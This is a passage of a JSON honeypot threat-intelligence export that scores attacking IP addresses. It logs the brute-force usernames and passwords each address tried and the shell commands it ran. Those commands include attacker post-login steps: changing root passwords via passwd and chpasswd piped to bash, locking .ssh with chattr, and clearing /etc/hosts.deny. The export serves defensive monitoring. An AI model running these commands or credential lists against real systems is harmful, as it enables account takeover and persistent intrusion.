        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:13:22.374000+00:00",
        "last_seen_30d": "2026-05-06T19:14:36.982000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.26.110.222": {
      "attack_count": 2,
      "first_seen": "2026-05-03T13:55:46.878Z",
      "last_seen": "2026-05-03T13:55:59.009Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:55:46.878000+00:00",
        "last_seen_30d": "2026-05-03T13:57:06.951000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.214.0.57": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:52:36.823Z",
      "last_seen": "2026-05-13T03:52:46.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:52:36.823000+00:00",
        "last_seen_30d": "2026-05-13T03:53:55.400000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.236.251.141": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:31:25.285Z",
      "last_seen": "2026-05-02T19:31:37.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268253,
      "as_org": "Nossanet Fibra Eireli",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:31:25.285000+00:00",
        "last_seen_30d": "2026-05-02T19:32:47.343000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.225.134": {
      "attack_count": 2,
      "first_seen": "2026-05-08T07:46:30.548Z",
      "last_seen": "2026-05-08T07:46:43.678Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:46:30.548000+00:00",
        "last_seen_30d": "2026-05-08T07:47:46.449000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.213.222.198": {
      "attack_count": 2,
      "first_seen": "2026-05-20T04:32:37.340Z",
      "last_seen": "2026-05-20T04:33:08.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:32:37.340000+00:00",
        "last_seen_30d": "2026-05-20T04:34:11.572000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "88.74.146.233": {
      "attack_count": 2,
      "first_seen": "2026-05-18T08:22:52.942Z",
      "last_seen": "2026-05-18T08:23:05.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "M\u00f6nchengladbach",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:22:52.942000+00:00",
        "last_seen_30d": "2026-05-18T08:24:12.536000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "96.224.37.29": {
      "attack_count": 2,
      "first_seen": "2026-05-14T21:45:42.201Z",
      "last_seen": "2026-05-14T21:45:55.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elmsford",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:45:42.201000+00:00",
        "last_seen_30d": "2026-05-14T21:46:55.909000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.100.120.193": {
      "attack_count": 12467,
      "first_seen": "2026-05-31T11:07:31.475Z",
      "last_seen": "2026-05-31T17:22:46.937Z",
      "sessions": 4164,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20861,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:07:31.475000+00:00",
        "last_seen_30d": "2026-05-31T17:23:54.244000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12467,
        "Suricata": 8394
      }
    },
    "176.65.132.119": {
      "attack_count": 6665,
      "first_seen": "2026-05-27T05:36:54.710Z",
      "last_seen": "2026-05-29T12:37:55.788Z",
      "sessions": 1333,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "test",
        "deployer",
        "ftpuser",
        "postgres",
        "alex",
        "jenkins",
        "testuser",
        "bot",
        "guest",
        "oracle",
        "demo",
        "frappe",
        "steam",
        "claude",
        "git"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123",
        "P@ssw0rd",
        "p@ssw0rd",
        "1",
        "1234",
        "12345678",
        "root",
        "12345",
        "1qaz@WSX",
        "123456789",
        "Aa123456",
        "admin",
        "admin123",
        "abc123",
        "111",
        "1111",
        "123123",
        "1234567890"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9387,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:36:54.710000+00:00",
        "last_seen_30d": "2026-05-29T12:39:09.162000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6665,
        "Suricata": 2722
      }
    },
    "2.57.121.112": {
      "attack_count": 4560,
      "first_seen": "2026-05-02T01:09:19.966Z",
      "last_seen": "2026-05-31T22:09:16.713Z",
      "sessions": 505,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "arozel"
      ],
      "passwords_attempted": [
        "tate",
        "tatooine",
        "*******",
        "00001",
        "00197400",
        "006969",
        "0071",
        "007jr",
        "010110",
        "01011901",
        "01011911",
        "01011952",
        "01011953",
        "01011954",
        "01012002",
        "01012003",
        "01012004",
        "010161",
        "010165",
        "01021997"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6079,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:09:19.966000+00:00",
        "last_seen_30d": "2026-05-31T22:11:31.846000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4560,
        "Suricata": 1519
      }
    },
    "45.154.244.2": {
      "attack_count": 3537,
      "first_seen": "2026-05-17T05:25:10.201Z",
      "last_seen": "2026-05-30T08:31:12.088Z",
      "sessions": 704,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "pi",
        "fake",
        "support",
        "ubnt",
        "RPM",
        "config",
        "operator",
        "rootn",
        "supervisor",
        "usuario",
        "oracle",
        "ubuntu",
        "1234",
        "git",
        "guest",
        "osmc"
      ],
      "passwords_attempted": [
        "test",
        "ubnt",
        "1234",
        "password",
        "123456",
        "changeme",
        "default",
        "112233",
        "12121212",
        "123",
        "123123",
        "1234567890",
        "123qweasdzxc",
        "147147",
        "159357",
        "admin",
        "openelec",
        "user",
        "00000000",
        "1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5039,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T05:25:10.201000+00:00",
        "last_seen_30d": "2026-05-30T08:32:18.546000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3537,
        "Suricata": 1502
      }
    },
    "176.65.132.242": {
      "attack_count": 1670,
      "first_seen": "2026-05-25T19:25:05.194Z",
      "last_seen": "2026-05-25T19:57:15.206Z",
      "sessions": 334,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "admin",
        "test",
        "pi",
        "deployer",
        "dev",
        "testuser",
        "claude",
        "debian",
        "ftpuser",
        "bot",
        "openclaw",
        "postgres",
        "server",
        "steam",
        "admin1",
        "alex"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1",
        "123",
        "password",
        "root",
        "12345678",
        "12345",
        "1qaz@WSX",
        "P@ssw0rd",
        "123456789",
        "Aa123456",
        "admin",
        "p@ssw0rd",
        "test",
        "toor",
        "123123",
        "Admin@123",
        "dev",
        "jboss"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2458,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:25:05.194000+00:00",
        "last_seen_30d": "2026-05-25T19:58:22.517000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1670,
        "Suricata": 788
      }
    },
    "179.43.133.154": {
      "attack_count": 1116,
      "first_seen": "2026-05-02T01:33:48.017Z",
      "last_seen": "2026-05-18T07:27:06.744Z",
      "sessions": 192,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ftp1",
        "authority",
        "ddd"
      ],
      "passwords_attempted": [
        "or4cl3",
        "ftp1",
        "authority",
        "ddd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1692,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:33:48.017000+00:00",
        "last_seen_30d": "2026-05-18T07:28:07.435000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1116,
        "Suricata": 576
      }
    },
    "188.165.32.102": {
      "attack_count": 586,
      "first_seen": "2026-05-03T11:01:18.064Z",
      "last_seen": "2026-05-03T11:08:53.669Z",
      "sessions": 293,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 894,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:01:18.064000+00:00",
        "last_seen_30d": "2026-05-03T11:10:56.831000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 586,
        "Suricata": 308
      }
    },
    "112.208.172.173": {
      "attack_count": 520,
      "first_seen": "2026-05-21T06:52:26.192Z",
      "last_seen": "2026-05-22T09:39:14.866Z",
      "sessions": 260,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Ildefonso",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:52:26.192000+00:00",
        "last_seen_30d": "2026-05-22T09:40:18.130000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 520,
        "Suricata": 260
      }
    },
    "103.84.236.222": {
      "attack_count": 436,
      "first_seen": "2026-05-04T13:33:54.504Z",
      "last_seen": "2026-05-09T19:12:09.424Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "root",
        "test",
        "345gs5662d34",
        "deploy",
        "devops",
        "postgres",
        "temp",
        "Ubuntu",
        "adminagora",
        "ali",
        "bitrix",
        "cephuser",
        "echuser",
        "ftpuser",
        "git",
        "guest",
        "itadmin",
        "oracle"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweasd",
        "!QAZxsw2",
        "00",
        "0000",
        "010101",
        "123123a",
        "1q2w3e4r5t",
        "888888",
        "9876543210",
        "Password12",
        "Tech$123",
        "Welcome123",
        "a",
        "abc123456",
        "abcd",
        "admin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"asdfghjkl\\nov1sIW5iGpN7\\nov1sIW5iGpN7\\n\"|passwd",
        "echo \"tempuser\\n7fpkkWtuJoz3\\n7fpkkWtuJoz3\\n\"|passwd",
        "echo -e \"asdfghjkl\\nov1sIW5iGpN7\\nov1sIW5iGpN7\"|passwd|bash",
        "echo -e \"tempuser\\n7fpkkWtuJoz3\\n7fpkkWtuJoz3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134945,
      "as_org": "Blue Sky Broadband Pvt. Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:33:54.504000+00:00",
        "last_seen_30d": "2026-05-09T19:13:09.707000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 436,
        "Suricata": 154
      }
    },
    "87.106.44.172": {
      "attack_count": 361,
      "first_seen": "2026-05-20T20:48:31.307Z",
      "last_seen": "2026-05-20T21:36:05.447Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "grafana",
        "adi",
        "administrador",
        "csgo",
        "dasusr1",
        "db2inst1",
        "fred",
        "gamma",
        "git",
        "guest",
        "jeremy",
        "laura",
        "mysql",
        "qcubic",
        "testtest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "112233qqwwee",
        "123456",
        "12345678",
        "123ewq",
        "1qazXSW@",
        "789",
        "LeitboGi0ro",
        "P@$$w0rd",
        "P@ssw0rd",
        "Welcome#12345",
        "a_123456",
        "db2password",
        "fred123",
        "gamma",
        "git12345",
        "grafana",
        "gu3st"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazXSW@\\neJgLx8a7AQVc\\neJgLx8a7AQVc\\n\"|passwd",
        "echo \"grafana\\nBdgo0b9ODNpC\\nBdgo0b9ODNpC\\n\"|passwd",
        "echo \"root:U5c9NaPCB1Jv\"|chpasswd|bash",
        "echo -e \"1qazXSW@\\neJgLx8a7AQVc\\neJgLx8a7AQVc\"|passwd|bash",
        "echo -e \"grafana\\nBdgo0b9ODNpC\\nBdgo0b9ODNpC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T20:48:31.307000+00:00",
        "last_seen_30d": "2026-05-20T21:37:13.087000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 83
      }
    },
    "161.81.149.29": {
      "attack_count": 306,
      "first_seen": "2026-05-22T20:36:51.394Z",
      "last_seen": "2026-05-23T07:52:24.832Z",
      "sessions": 153,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:36:51.394000+00:00",
        "last_seen_30d": "2026-05-23T07:53:33.381000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 153
      }
    },
    "45.162.8.14": {
      "attack_count": 302,
      "first_seen": "2026-05-25T07:06:56.008Z",
      "last_seen": "2026-05-25T08:31:38.174Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "erpnext",
        "harshit",
        "curl",
        "dong",
        "guest",
        "hydra",
        "kevin",
        "s1",
        "solar",
        "testuser",
        "webuser",
        "xray"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "@1qaz2wsx",
        "Qwer@4321",
        "Root2026!",
        "Wangsu@2017",
        "dasha",
        "dong",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "harshit",
        "hydra",
        "root",
        "s1",
        "solar",
        "test@123",
        "webuser123",
        "welltech12",
        "xray"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Wangsu@2017\\nmypcQWnoAVbc\\nmypcQWnoAVbc\\n\"|passwd",
        "echo \"harshit\\nEJM2mmBR7rBm\\nEJM2mmBR7rBm\\n\"|passwd",
        "echo \"root\\nsSXYPOgHklRB\\nsSXYPOgHklRB\\n\"|passwd",
        "echo -e \"Wangsu@2017\\nmypcQWnoAVbc\\nmypcQWnoAVbc\"|passwd|bash",
        "echo -e \"harshit\\nEJM2mmBR7rBm\\nEJM2mmBR7rBm\"|passwd|bash",
        "echo -e \"root\\nsSXYPOgHklRB\\nsSXYPOgHklRB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268485,
      "as_org": "Fibrativa Telecomunicacoes - Eireli - ME",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:06:56.008000+00:00",
        "last_seen_30d": "2026-05-25T08:32:38.598000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 302,
        "Suricata": 61
      }
    },
    "200.165.70.141": {
      "attack_count": 288,
      "first_seen": "2026-05-06T16:17:02.989Z",
      "last_seen": "2026-05-06T18:00:15.648Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "oracle",
        "ts3",
        "web",
        "admin",
        "frappe",
        "music",
        "mysql",
        "newftpuser",
        "odoo",
        "sshuser",
        "sysadmin",
        "trojanuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
